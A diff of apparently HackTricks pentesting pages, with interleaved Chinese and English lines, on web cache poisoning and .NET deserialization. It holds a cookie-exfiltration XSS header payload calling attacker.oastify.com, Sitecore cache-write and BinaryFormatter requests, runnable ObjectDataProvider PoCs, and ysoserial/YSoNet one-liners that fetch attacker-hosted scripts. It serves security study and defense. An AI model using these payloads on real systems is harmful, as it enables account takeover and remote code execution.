- CDN剥离了缓存头,但存在内部/源缓存。CDN还自动缓存以静态扩展名例如`.js`结尾的请求而WAF对静态资产的GET请求应用了较弱的内容检查
- 请求流的奇特性允许对`.js`路径的请求影响后续主要HTML使用的缓存键/变体,从而通过头部反射实现跨用户XSS。
- 主 HTML 将不受信任的请求 header例如 `User-Agent`)反射到可执行上下文中。
- CDN 去除了缓存 headers但存在内部/源端缓存。CDN 还会自动缓存以静态扩展名结尾的请求(例如 `.js`),而 WAF 对静态资源的 GET 请求应用了更弱的内容检测
- 请求流的细节允许对 `.js` 路径的请求影响随后主 HTML 使用的缓存键/变体,从而通过 header 反射实现跨用户 XSS。
实用配方在一个流行的CDN/WAF中观察到):
实用步骤(在一个流行的 CDN/WAF 中观察到):
1) 从一个干净的IP避免先前基于声誉的降级通过浏览器或Burp Proxy Match & Replace设置一个恶意的`User-Agent`
2) 在Burp Repeater中准备一组两个请求并使用“并行发送组”单包模式效果最佳
- 第一个请求:GET同一来源上的`.js`资源路径,同时发送你的恶意`User-Agent`
- 紧接着GET主页面`/`)。
3) CDN/WAF路由竞争加上自动缓存的`.js`通常会播种一个被毒化的缓存HTML变体然后提供给共享相同缓存键条件的其他访客例如具有相同`Vary`维度如`User-Agent`
1) 从一个干净的 IP避免之前的基于声誉的降级出发通过浏览器或 Burp Proxy 的 Match & Replace 设置一个恶意的 `User-Agent`
2) 在 Burp Repeater 中,准备一组两个请求并使用 "Send group in parallel"single-packet mode 效果最好
- 第一个请求:对同一 origin 的 `.js` 资源路径发起 GET同时发送你恶意的 `User-Agent`
- 紧接着GET 主页面(`/`)。
3) CDN/WAF 的路由竞争,加上自动缓存的 `.js`,通常会种下被污染的缓存 HTML 变体,然后在满足相同缓存键条件(例如相同的 `Vary` 维度如 `User-Agent`)的其他访问者中被提供
示例头部有效负载(用于提取非HttpOnly cookies
示例 header payload用于 exfiltrate non-HttpOnly cookies
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
操作提示
运行建议
- 许多CDN隐藏缓存头中毒可能仅在多小时刷新周期中出现。使用多个视角IP并限制速率以避免触发速率限制或声誉
- 有时使用CDN自身云的IP可以改善路由一致性。
- 如果存在严格的CSP只要反射在主HTML上下文执行,并且CSP允许内联执行或被上下文绕过这仍然有效。
- 许多 CDN 会隐藏缓存头poisoning 可能仅在数小时的刷新周期上可见。使用多个 vantage IPs 并节流以避免触发 rate-limit 或 reputation triggers
- 使用来自 CDN 自身云的 IP 有时可以改善路由一致性。
- 如果存在严格的 CSP只要反射在主 HTML 上下文执行且 CSP 允许内联执行或被上下文绕过,这仍然有效。
影响:
- 如果会话cookie不是`HttpOnly`,则通过大规模提取所有用户的`document.cookie`,可能会实现零点击ATO。
- 如果会话 cookie 不是 `HttpOnly`,则可以通过对所有被提供被投毒 HTML 的用户大规模外泄 `document.cookie` 来实现零点击 ATO。
护措施
- 停止将请求头反射到HTML中如果不可避免严格上下文编码。对齐CDN和源缓存策略避免在不受信任的头上变化。
- 确保WAF对`.js`请求和静态路径一致地应用内容检查
- 在会话cookie上设置`HttpOnly`(以及`Secure``SameSite`)。
- 停止将请求头反射到 HTML 中;如果不可避免,务必进行严格的上下文编码。使 CDN 和源origin的缓存策略对齐并避免基于不受信任的头进行变化。
- 确保 WAF 对 `.js` 请求和静态路径一致地应用内容检测
- 在会话 cookie 上设置 `HttpOnly`(以及 `Secure``SameSite`)。
## 漏洞示例
### Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecorespecific pattern enables unauthenticated writes to the HtmlCache by abusing preauth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
这会在攻击者指定的 cache key 下写入任意 HTML一旦 cache keys 已知就可以进行精确的 poisoning。
For full details (cache key construction, ItemService enumeration and a chained postauth deserialization RCE):
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## 易受攻击的示例
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS在不剥离URL中的片段的情况下转发了片段并仅使用主机、路径和查询生成缓存键忽略片段。因此请求`/#/../?r=javascript:alert(1)`被发送到后端,作为`/#/../?r=javascript:alert(1)`,而缓存键中没有有效负载,仅有主机、路径和查询。
ATS 转发了 URL 中的 fragment 而未进行剥离,并且只使用 host、path 和 query忽略 fragment来生成 cache key。于是请求 `/#/../?r=javascript:alert(1)` 被转发到后端为 `/#/../?r=javascript:alert(1)`,而 cache key 中并不包含 payload只有 host、path 和 query
### GitHub CP-DoS
在content-type头中发送错误值触发了405缓存响应。缓存键包含cookie因此只能攻击未认证用户。
content-type header 中发送一个错误值会触发一个被缓存的 405 响应。cache key 包含了 cookie因此只可能攻击未认证的用户。
### GitLab + GCP CP-DoS
GitLab使用GCP桶存储静态内容。**GCP桶**支持**头`x-http-method-override`**。因此,可以发送头`x-http-method-override: HEAD`并使缓存返回空响应体。它还可以支持方法`PURGE`
GitLab 使用 GCP buckets 来存储静态内容。**GCP Buckets** 支持头 `x-http-method-override`。因此可以发送头 `x-http-method-override: HEAD` 并将缓存投毒为返回空响应体。它也可能支持方法 `PURGE`
### Rack Middleware (Ruby on Rails)
在Ruby on Rails应用程序中通常使用Rack中间件。Rack代码的目的是获取**`x-forwarded-scheme`**头的值并将其设置为请求的方案。当发送头`x-forwarded-scheme: http`会发生301重定向到相同位置可能导致该资源的拒绝服务DoS。此外应用程序可能会识别`X-forwarded-host`头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载JavaScript文件构成安全风险。
Ruby on Rails 应用中,经常使用 Rack middleware。该 Rack 代码的目的通常是读取 **`x-forwarded-scheme`** header 的值并将其设置为请求的 scheme。当发送 `x-forwarded-scheme: http` 时,会发生到相同位置的 301 redirect可能导致对该资源的 Denial of Service (DoS)。另外,应用可能会识别 `X-forwarded-host` header 并将用户重定向到指定的 host。这种行为可能导致从攻击者服务器加载 JavaScript 文件,带来安全风险。
### 403和存储桶
### 403 与 Storage Buckets
Cloudflare之前缓存403响应。尝试使用不正确的授权头访问S3或Azure存储Blob将导致403响应被缓存。尽管Cloudflare已停止缓存403响应但这种行为可能仍存在于其他代理服务中
Cloudflare 之前会缓存 403 响应。使用错误的 Authorization headers 访问 S3 或 Azure Storage Blobs 会导致返回 403 响应并被缓存。虽然 Cloudflare 已停止缓存 403 响应,但其他代理服务中可能仍存在此行为
### 注入键参数
### 注入参数
缓存通常在缓存键中包含特定的GET参数。例如Fastly的Varnish在请求中缓存`size`参数。然而如果还发送了一个URL编码版本的参数例如`siz%65`)并且值错误,缓存键将使用正确的`size`参数构建。然而后端将处理URL编码参数中的值。对第二个`size`参数进行URL编码导致其被缓存省略但被后端使用。将该参数的值设置为0导致可缓存的400错误请求
Caches 经常在 cache key 中包含特定的 GET 参数。例如Fastly 的 Varnish 会在请求中缓存 `size` 参数。然而,如果同时发送了该参数的 URL 编码版本(例如 `siz%65`并带有错误值cache key 会使用正确的 `size` 参数来构造,但后端会处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码会导致其被缓存系统忽略但被后端使用。将该参数赋值为 0 会导致一个可缓存的 400 Bad Request 错误
### 用户代理规则
### User Agent 规则
一些开发人员阻止与高流量工具如FFUF或Nuclei匹配的用户代理的请求以管理服务器负载。讽刺的是这种方法可能引入漏洞例如缓存中毒和DoS
一些开发者会阻断 user-agents 与高流量工具(如 FFUF 或 Nuclei相匹配的请求以管理服务器负载。具有讽刺意味的是这种做法可能引入 cache poisoning 和 DoS 等漏洞
### 非法字段
### 非法 Header 字段
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)规定了头名称中可接受的字符。包含超出指定**tchar**范围的字符的头理想情况下应触发400错误请求响应。在实践中服务器并不总是遵循此标准。一个显著的例子是Akamai它转发包含无效字符的头并缓存任何400错误只要`cache-control`头不存在。发现了一种可利用的模式,发送包含非法字符(如`\`的头将导致可缓存的400错误请求
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了 header 名称中可接受的字符。包含超出 **tchar** 范围字符的 headers 理应触发 400 Bad Request 响应。但实际上服务器并不总是遵守该标准。一个显著的例子是 Akamai会转发包含无效字符的 headers 并缓存任何 400 错误,只要 `cache-control` header 不存在。存在一个可利用的模式:发送带有非法字符(例如 `\`)的 header 会导致一个可缓存的 400 Bad Request 错误
### 查找新头
### 寻找新 header
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## 缓存欺骗
## Cache Deception
缓存欺骗的目标是使客户端**加载将被缓存保存的资源及其敏感信息**
Cache Deception 的目标是让客户端加载那些将被缓存保存且包含其敏感信息的资源
首先请注意,**扩展名**如`.css``.js``.png`等通常被**配置**为**保存**在**缓存**中。因此,如果您访问`www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到`.js`**扩展名**。但是,如果**应用程序**正在**重放**存储在_www.example.com/profile.php_中的**敏感**用户内容,您可以**窃取**其他用户的这些内容。
首先注意,诸如 `.css``.js``.png` 等扩展名通常被配置为会被缓存。因此,如果你访问 `www.example.com/profile.php/nonexistent.js`,缓存可能会存储该响应,因为它检测到了 `.js` 扩展。但如果应用在响应中回放存储在 _www.example.com/profile.php_ 的敏感用户内容,就可以从其他用户那里“窃取”这些内容。
其他测试内容
其他可测试的项
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _使用不太常见的扩展名,如_ `.avif`
- _Use lesser known extensions such as_ `.avif`
另一个非常清晰的例子可以在这篇文章中找到:[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
示例中解释了如果您加载一个不存在的页面如_http://www.example.com/home.php/non-existent.css_将返回_http://www.example.com/home.php_**包含用户的敏感信息**)的内容,并且缓存服务器将保存结果。\
然后,**攻击者**可以在自己的浏览器中访问_http://www.example.com/home.php/non-existent.css_并观察之前访问过的用户的**机密信息**。
另一个非常清晰的示例可以在此 write-up 中找到: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
该示例中,解释了如果你加载一个不存在的页面,例如 _http://www.example.com/home.php/non-existent.css__http://www.example.com/home.php_ 的内容(**包含用户的敏感信息**)将被返回,并且缓存服务器会保存该结果。\
随后,**attacker** 可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察到先前访问过该页面的用户的**机密信息**。
请注意,**缓存代理**应被**配置**为根据文件的**扩展名**_.css_而不是根据内容类型来**缓存**文件。在示例_http://www.example.com/home.php/non-existent.css_中将具有`text/html`内容类型,而不是`text/css` MIME类型这是_.css_文件的预期
注意,**cache proxy** 应该是基于文件的扩展名_.css_来配置为**缓存**文件,而不是基于 content-type。在示例中 _http://www.example.com/home.php/non-existent.css_ 的 content-type 将是 `text/html` 而不是 `text/css`
这里了解如何执行[利用HTTP请求走私进行缓存欺骗攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)。
此了解如何利用[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)。
## 自动工具
## 自动工具
- [**toxicache**](https://github.com/xhzeem/toxicache)Golang扫描器用于在URL列表中查找Web缓存中毒漏洞并测试多种注入技术
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner 用于在 URL 列表中查找 web cache poisoning vulnerabilities 并测试多种 injection techniques
## 参考
## 参考资料
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -269,8 +290,9 @@ Cloudflare之前缓存403响应。尝试使用不正确的授权头访问S3或Az
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [我如何在公共BBP中发现0点击账户接管并利用它访问管理员级功能](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,38 +1,38 @@
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
# 基础 .Net 反序列化 (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
本文旨在**理解如何利用 ObjectDataProvider 小工具** 来获得 RCE以及**如何**利用该小工具**Json.Net 和 xmlSerializer**进行滥用
本文致力于**理解 ObjectDataProvider gadget 如何被利用**以获得 RCE以及**如何滥用 Serialization 库 Json.Net 和 xmlSerializer**来配合该 gadget
## ObjectDataProvider 小工具
## ObjectDataProvider Gadget
根据文档_ObjectDataProvider 类封装并创建一个可以用作绑定源的对象。_\
是的,这个解释有点奇怪,让我们看看这个类有什么有趣的地方:这个类允许**封装任意对象**,使用 _**MethodParameters**_ 来**设置任意参数,**然后**使用 MethodName 调用任意函数**,该函数是使用任意参数声明的任意对象。\
因此,任意**对象**将在**反序列化**时**执行**一个带有**参数的** **函数**。
根据文档_the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
是的,这个解释有点奇怪,所以我们来看这个类有哪些有趣的地方:该类允许**封装任意对象wrap an arbitrary object**,使用 _**MethodParameters**_**设置任意参数,** 然后 **使用 MethodName 调用该任意对象的任意函数**,并将之前声明的任意参数传入。\
因此,任意 **object** 会在被反序列化时使用这些 **parameters****执行** 一个 **function**。
### **这怎么可能**
### **How is this possible**
**System.Windows.Data** 命名空间`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`**PresentationFramework.dll** 中定义和实现了 ObjectDataProvider
**System.Windows.Data** 命名空间(位于 **PresentationFramework.dll**`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`)是定义并实现 ObjectDataProvider 的地方
使用 [**dnSpy**](https://github.com/0xd4d/dnSpy) 你可以**检查**我们感兴趣的类的代码。在下面的图像中,我们看到 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> 方法名称** 的代码。
使用 [**dnSpy**](https://github.com/0xd4d/dnSpy) 可以**查看我们感兴趣的类的代码**。下面的图片中我们看到的是 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** 的代码
![](<../../images/image (427).png>)
如你所见,当 `MethodName` 被设置时,调用了 `base.Refresh()`,让我们看看它的作用
如你所见,当设置 `MethodName` 时会调用 `base.Refresh()`,我们来看看它做了什么
![](<../../images/image (319).png>)
好的,让我们继续看看 `this.BeginQuery()` 的作用。`BeginQuery``ObjectDataProvider` 重写,以下是它的作用
好的,继续看 `this.BeginQuery()` 做了什么。`BeginQuery``ObjectDataProvider` 中被重写,下面是它的实现
![](<../../images/image (345).png>)
注意在代码末尾调用了 `this.QueryWorke(null)`让我们看看它执行了什么:
注意在代码末尾调用了 `this.QueryWorke(null)`我们来看那会执行什么:
![](<../../images/image (596).png>)
注意这不是 `QueryWorker` 函数的完整代码,但它显示了有趣的部分:代码**调用了 `this.InvokeMethodOnInstance(out ex);`** 这是**方法集被调用**的那一行。
注意这不是 `QueryWorker` 函数的完整代码,但它展示了有趣的部分:代码**调用了 `this.InvokeMethodOnInstance(out ex);`**,这就是**方法集合被调用**的那一行。
如果你想检查仅设置 _**MethodName**_** 就会被执行**,你可以运行以下代码:
如果你想验证仅设置 _**MethodName**_ 就会被执行,你可以运行这段代码:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
}
}
```
注意,您需要添加作为引用的 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_加载 `System.Windows.Data`
注意,你需要将引用添加为 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_,以便加载 `System.Windows.Data`
## ExpandedWrapper
使用之前的漏洞,将会有一些情况,其中 **对象** 将被 **反序列化为** 一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer对象是通过 `GetType` 反序列化的)。然后,将对 _ObjectDataProvider_ 实例中封装的 **对象类型没有任何了解**(例如 `Process`)。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
这个类允许 **指定封装在给定实例中的对象类型**。因此,这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
在之前呈现的案例中非常有用,因为我们将能够 **将 \_ObjectDataProvider**_** 包装在一个 **_**ExpandedWrapper** \_ 实例中,并且 **在反序列化时** 这个类将 **创建** _**OjectDataProvider**_ 对象,该对象将 **执行**_**MethodName**_ 中指**函数**
该类允许 s**指定在给定实例中被封装对象的对象类型**。因此,该类可用于将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
对于前面展示的情况非常有用,因为我们能够 **封装 \_ObjectDataProvider**_** 到一个 **_**ExpandedWrapper** \_ 实例,并且 **反序列化时**类将 **创建** _**OjectDataProvider**_ 对象,该对象将 **执行**_**MethodName**_ 中指**函数**
您可以使用以下代码检查这个包装器
你可以使用以下代码检查这个 wrapper
```java
using System.Windows.Data;
using System.Diagnostics;
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
在[官方网站](https://www.newtonsoft.com/json)上指出,该库允许**使用Json.NET强大的JSON序列化程序序列化和反序列化任何.NET对象**。因此,如果我们能够**反序列化ObjectDataProvider小工具**,我们就可以仅通过反序列化一个对象来导致**RCE**
[官方网站](https://www.newtonsoft.com/json) 上指出该库允许 **使用 Json.NET 强大的 JSON 序列化器对任何 .NET 对象进行序列化和反序列化**。因此,如果我们能够 **反序列化 ObjectDataProvider gadget**,仅通过反序列化一个对象就可能导致 **RCE**
### Json.Net示例
### Json.Net 示例
首先,让我们看一个如何使用该库**序列化/反序列化**对象的示例:
首先,让我们看一个使用该库 **序列化/反序列化** 对象的示例:
```java
using System;
using Newtonsoft.Json;
@ -134,9 +134,9 @@ Console.WriteLine(desaccount.Email);
```
### 滥用 Json.Net
使用 [ysoserial.net](https://github.com/pwntester/ysoserial.net) 我创建了这个漏洞:
使用 [ysoserial.net](https://github.com/pwntester/ysoserial.net) 我创建了该 exploit:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
在这段代码中,你可以**测试漏洞**,只需运行它,你将看到计算器被执行:
在这段代码中你可以**测试该漏洞利用**,只需运行它,你会看到 calc 被执行:
```java
using System;
using System.Text;
@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
## 高级 .NET Gadget (YSoNet & ysoserial.net)
## 高级 .NET Gadget Chains (YSoNet & ysoserial.net)
上面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是许多可以在应用程序执行 **不安全的 .NET 反序列化** 时被滥用的 gadget 链之一。现代红队工具如 **[YSoNet](https://github.com/irsdl/ysonet)**(以及较旧的 [ysoserial.net](https://github.com/pwntester/ysoserial.net))自动化创建 **现成的恶意对象图**,适用于数十种 gadget 和序列化格式
上面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是当应用执行不安全的 .NET 反序列化时可以被滥用的众多 gadget chains 之一。现代红队工具例如 **[YSoNet](https://github.com/irsdl/ysonet)**(以及更早的 [ysoserial.net](https://github.com/pwntester/ysoserial.net))可以自动生成用于数十种 gadget 和序列化格式的可直接使用的恶意对象图
以下是与 *YSoNet* 一起提供的最有用链的简明参考,以及它们的工作原理和生成有效负载的示例命令的快速说明
下面是随 *YSoNet* 提供的最有用的链的简要参考,包含它们的工作原理说明以及生成 payload 的示例命令
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | 破坏 `DelegateSerializationHolder` 记录,以便一旦实现,委托指向 *任何* 攻击者提供的方法(例如 `Process.Start` | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | 滥用 `System.Workflow.ComponentModel.ActivitySurrogateSelector` *绕过 .NET ≥4.8 类型过滤* 并直接调用提供类的 **构造函数****动态编译** C# 文件 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | 利用 `System.Data.DataSet` **遗留 XML** 表示,通过填充 `<ColumnMapping>` / `<DataType>` 字段来实例化任意类型(可选地使用 `--spoofedAssembly` 伪造程序集) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | 在启用 WPF 的运行时(> .NET 5中链式调用属性获取器直到到达 `System.CodeDom.Compiler.CompilerResults`,然后 *编译**加载* 通过 `-c` 提供的 DLL | `Json.NET` 无类型, `MessagePack` 无类型 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (复习) | 使用 WPF `System.Windows.Data.ObjectDataProvider` 调用带有受控参数的任意静态方法。YSoNet 添加了一个方便的 `--xamlurl` 变体,以远程托管恶意 XAML | `BinaryFormatter`, `Json.NET`, `XAML`, *等* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | 将 `ScriptBlock` 嵌入 `System.Management.Automation.PSObject` 中,当 PowerShell 反序列化该对象时执行 | PowerShell 远程, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| Gadget Chain | 核心思想 / 原语 | 常见序列化器 | YSoNet one-liner |
|--------------|-----------------|--------------------|------------------|
| **TypeConfuseDelegate** | 损坏 `DelegateSerializationHolder` 记录,使其在反序列化后指向任意攻击者提供的方法(例如 `Process.Start` | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | 滥用 `System.Workflow.ComponentModel.ActivitySurrogateSelector`*绕过 .NET ≥4.8 的类型过滤*并直接调用提供类的**构造函数**或动态编译一个 C# 文件 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | 利用 `System.Data.DataSet` 的**遗留 XML** 表示,通过填充 `<ColumnMapping>` / `<DataType>` 字段来实例化任意类型(可选地使用 `--spoofedAssembly` 伪造程序集) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | 在启用 WPF 的运行时(>.NET 5上链式调用属性 getter直到到达 `System.CodeDom.Compiler.CompilerResults`,然后使用 `-c` 提供的 DLL 进行*编译*或*加载* | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (复习) | 使用 WPF `System.Windows.Data.ObjectDataProvider` 调用带受控参数的任意静态方法。YSoNet 增加了便捷的 `--xamlurl` 选项以便远程托管恶意 XAML | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | 将 `ScriptBlock` 嵌入 `System.Management.Automation.PSObject` 中,PowerShell 在反序列化该对象时会执行它 | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> 所有有效负载默认情况下 **写入 *stdout***,使其轻松地通过管道传输到其他工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。
> 默认情况下,所有 payload **都会写入 *stdout***,因此很容易将它们通过管道传递给其它工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。
### 构建 / 安装 YSoNet
如果在 *Actions ➜ Artifacts* / *Releases* 下没有可用的预编译二进制文件,以下 **PowerShell** 一行命令将设置构建环境,克隆存储库并以 *Release* 模式编译所有内容:
如果在 *Actions ➜ Artifacts* / *Releases* 下没有可用的预编译二进制文件,下面的 **PowerShell** 单行命令将设置构建环境、克隆仓库并以 *Release* 模式编译所有内容:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,17 +216,48 @@ cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
编译后的 `ysonet.exe` 可以在 `ysonet/bin/Release/` 下找到。
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
### 检测与加固
* **检测** `w3wp.exe``PowerShell.exe` 或任何反序列化用户提供数据的意外子进程(例如 `MessagePack``Json.NET`)。
* 启用并 **强制类型过滤**`TypeFilterLevel` = *Full*,自定义 `SurrogateSelector``SerializationBinder`*等*)每当无法移除遗留的 `BinaryFormatter` / `NetDataContractSerializer`
* **检测** `w3wp.exe``PowerShell.exe` 或任何反序列化用户提供数据的进程(例如 `MessagePack``Json.NET`的异常子进程
* 在无法移除旧的 `BinaryFormatter` / `NetDataContractSerializer` 时,启用并**强制类型过滤**`TypeFilterLevel` = *Full*、自定义 `SurrogateSelector``SerializationBinder`*etc.*
* 在可能的情况下迁移到 **`System.Text.Json`** 或 **`DataContractJsonSerializer`**,并使用基于白名单的转换器。
* 阻止危险的 WPF 程序集(`PresentationFramework``System.Workflow.*`)在不需要它们的 Web 进程中加载。
* 阻止危险的 WPF 程序集(`PresentationFramework``System.Workflow.*`)在不需要它们的 web 进程中被加载。
## 参考
- [YSoNet .NET 反序列化有效负载生成器](https://github.com/irsdl/ysonet)
- [ysoserial.net 原始 PoC 工具](https://github.com/pwntester/ysoserial.net)
## 真实场景 sinkSitecore convertToRuntimeHtml → BinaryFormatter
一个在经过认证的 Sitecore XP Content Editor 流程中可达的实用 .NET sink
- Sink API`Sitecore.Convert.Base64ToObject(string)` 封装了 `new BinaryFormatter().Deserialize(...)`
- Trigger pathpipeline `convertToRuntimeHtml``ConvertWebControls`,该流程搜索具有 `id="{iframeId}_inner"` 的同级元素并读取 `value` 属性,该属性被视为 base64 编码的序列化数据。结果被强制转换为字符串并插入到 HTML 中。
最小端到端示例(已认证):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
